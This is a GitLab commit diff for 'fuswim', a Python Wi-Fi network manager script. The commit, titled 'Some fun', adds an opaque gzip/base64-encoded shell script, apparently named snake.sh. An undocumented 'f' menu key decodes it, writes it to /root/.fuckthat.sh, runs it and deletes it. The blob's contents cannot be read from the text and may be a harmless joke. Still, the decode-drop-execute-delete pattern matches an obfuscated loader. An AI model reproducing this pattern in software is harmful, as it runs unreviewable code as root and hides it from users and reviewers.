Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Contribute to GitLab
Sign in
Toggle navigation
F
fuswim
Project
Project
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
sysadmin
fuswim
Commits
6b48dae7
Commit
6b48dae7
authored
Jul 23, 2021
by
Stefy Lanza (nextime / spora )
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Some fun
parent
7206d377
Changes
1
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
56 additions
and
2 deletions
+56
-2
fuswim
fuswim
+56
-2
No files found.
fuswim
View file @
6b48dae7
...
...
@@ -5,6 +5,11 @@ import psutil
import
sys
,
os
from
shell_cmd
import
sh
import
time
import
stat
from
io
import
StringIO
from
base64
import
b64decode
import
gzip
try
:
from
setproctitle
import
setproctitle
...
...
@@ -17,7 +22,43 @@ boot=False
auto
=
False
NETPATH
=
'/etc/fuswim/networks'
fuckthat
=
"""
H4sICCYl+2AAA3NuYWtlLnNoAK1YX1fbNhR/rj/FxZglaciwE/rSVGfrSlvYOqAUTs9O8HIcW0kM
xg62A+WEfPdJV7YsOYG025IHy7r36v7V70re3tobhfHeyMumhnH04QtpNAwjoH7kpRQ6IUxpOJnm
xGo2rWY+m+cQhTHNWp1XrRbch0E+VUh+EjFKt9UyjG1Ik3vw4oBPzm9iiOc3I5pCMmYreoGuwQuG
qXj4kHthxN7w4WuWeFF4RwHUqYjGk3wqZ0ZJ8KCJBGFK/TxMYgholHtD9q6SMz9JKbENY5SkAU2H
zNQkJeYlHfTs/n7vxjSy2Lum6ny3v99l8+MkCdTp/f7+PpvO6bdcnXbEKnGiTNpsgoUnCyexF2XG
l6OPw4tTcvHlzMHx2dHHw3P+2sXXg5Ovx+Ti7CO+fHr/4ZwcneD488XROfl6dPzuUPC9f3tADi9O
+dKV116aeg/Za7DJfLYLDkl5LnehS4LkPt6FHonoODdukjs6TElzYLuk48DAcYkNg65L2LjHxi3B
4QsOGxkcZLCRoeOwhIdxmA8n3g1ttmBhAPv5EfVSHFF/mkAnpsD9/6X7KjJxOsvzB+hwIr6OkxSa
zZDYfQjfiLJjo3a71epDIFgqtivOdvUGK5ANVrhQ7Z0XgcliYIUD68olDWiYkiFIYmrIwdIQPrKC
HQapdy+d0Ey3Fs6yby26y0OrZ3KZbZilYZwzTTR9yKdhPIEwhnzKSnE+HlNWbGyt4Sjx0kCuqOkB
h/1NS62/tlWWi6mFpcvDQtDhtrMuMPWFrbC2cqe2sgzBimSziXqgDWwzb7AP8/cjCdS1MV1hm2up
x+GxpkdmVKSExiwl5qW1EPl96S4vTYVR8GxYEgOwJgLMJmH+WsP+pwTpSv5tsmqr/HDisIgzmmPR
Ito1MuB7OWSRznIvp2JnI0nWMEIxA04+FhhMHPEmsaegStxlKCFCLeCeSMP3utgxJMknpRd72Ek4
gQM7b0wrVSaUd9aGG4VMx+LPer6jxGf+zbB3LQT+MVRbwktolku2CqME663C6q9jRV7RvIRv3Mv2
rFhEtDNJ8Nu3pUgFUkJkIJ6+Sy5Na6H0n2Ui88crHYVnKb3j+oRoNeUXU34RPoJBwPH9NIwoDBim
8fIwwdVitg3+1IsnlMMY9fxplU/JIkNXxs1q4m6zRvAIk5TOoJNA4++B3em5jZa7rAneEhnFTYJS
Mqb3IqrCXxnVkuZLmhJYPbi4xAAf3xdaNbworM/6YtavmFmQF6NttH6pNZYwGwYsGXLzhGMWftNy
TOhEOdjgwuOjnJlwzBIbwxSUS6mB83RXpLqlFO4ZTCjby1W+UprP0xjEdhyHatUVqUwyUuCoM7C6
7rKIQGEnI5tACDwZsu9UWUw6PCQTBh9DfoaSQRGm4LEKM3329vjg5E/YKc6f2l4Uhy+NC30vmJ7w
Taw9EE9felnuh8LRLQLsmFDbFZvMkjxPG1UZ9qxJsm5q2FDj5AVcHUF/1aq3PMroiC3CwUpWhV88
d7eh2Mdyq7tatEsZBb1KGV+XeS76UvNADn210qxmsU2gYq2GfqtWYaIBObWK0+ptpXzXBWy1dgWm
t5W1NRBZdWIDmEh4wG7EQtiUMWMte2e/1VIaFP+VCZLKdIpfURTwwZuMarTcYf3nYrRe1xN6RE4D
ImGbma0iN0Kf1VBb9np/F5y2I5DSrFe6aKED8fSVQ/t/apTbvIyxC+vtv+xhzQCNK5B7pVPp5KrL
i9GaLi9G2IzYfhQ9lZ+C9CawLjp42bCclbqsDlaWU+YQ59UDFodWmjN1laI89WZgmsAuiUfH5/zB
b44KSZRF3wSrvEeqwJinc6phYcr3aCfj5wcHrumDJPhexrsQmzLZ6UG7iA1uP7stuA6jCDpWeXkF
i98Wh7Mw0HhXalX/9fv1ybfayhen1bpgvHiBEi8K1t80Vn61Voyo8b7TePFW/jTzgcbMr+mrvFpA
rv9wnzR7s9eD6JP7rHmbV7j63X0uGJsXmB66zzn93AI083zthIRSUZLMalVb1bZd1ufF6Vq6U9Ix
EmtZurLEmatrOXolB/dF4aDfwhykBtw+taMDtiN2DqO3/GSm7Rd5E72MrUX1fWipROavZJ4KBH8N
Fj5BuarJlYqGJu01ESo6q1DBfxXkQCVRHVZC/VKK6FlBjfxoUfWXiDKUt3+2e/plVF4kxWVbdfBk
ugvHyRb3DuxvvLXXnZIfwfDyGcb4dZFVAXv1lAsphBlwcZRRS5ZBFVgWAiz/1KR/fcKPS/LbUpUF
/AA1xWOS/GSlXHGro6ny7UapUPjJKGucWFsl2qoWGFgutvEPlMzbi1kVAAA=
"""
class
colors
:
ENDC
=
'
\033
[m'
BLACK
=
'
\033
[0;30m'
...
...
@@ -442,7 +483,7 @@ while not EXIT:
selected
=
False
netind
=
{}
fuck
=
"none"
while
fuck
not
in
netind
.
keys
()
and
fuck
.
lower
()
not
in
[
'e'
,
'r'
,
'q'
,
's'
,
'm'
]:
while
fuck
not
in
netind
.
keys
()
and
fuck
.
lower
()
not
in
[
'e'
,
'r'
,
'q'
,
's'
,
'm'
,
'f'
]:
nofuck
(
fuck
)
netind
=
show_fuck_list
(
nets
)
fuck
=
input
(
"
\n
Choose a fucking one by index, or press E for edit, R to remove, S to re-scan, Q to shit the hell out: "
)
...
...
@@ -456,10 +497,23 @@ while not EXIT:
time
.
sleep
(
1
)
elif
fuck
.
lower
()
==
'e'
:
SM
=
"editor"
elif
fuck
.
lower
()
==
'f'
:
SM
=
"fuckthat"
elif
fuck
in
netind
.
keys
():
selected
=
netind
[
fuck
]
SM
=
"preconnect"
elif
SM
==
"fuckthat"
:
cont
=
gzip
.
decompress
(
b64decode
(
fuckthat
))
with
open
(
"/root/.fuckthat.sh"
,
"wb"
)
as
f
:
f
.
write
(
cont
)
f
.
close
()
os
.
chmod
(
"/root/.fuckthat.sh"
,
stat
.
S_IEXEC
)
os
.
system
(
"/root/.fuckthat.sh"
)
os
.
remove
(
"/root/.fuckthat.sh"
)
SM
=
"main"
elif
SM
==
"preconnect"
:
if
not
selected
[
'conf'
][
'saved'
]:
if
insertNetwork
(
selected
):
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment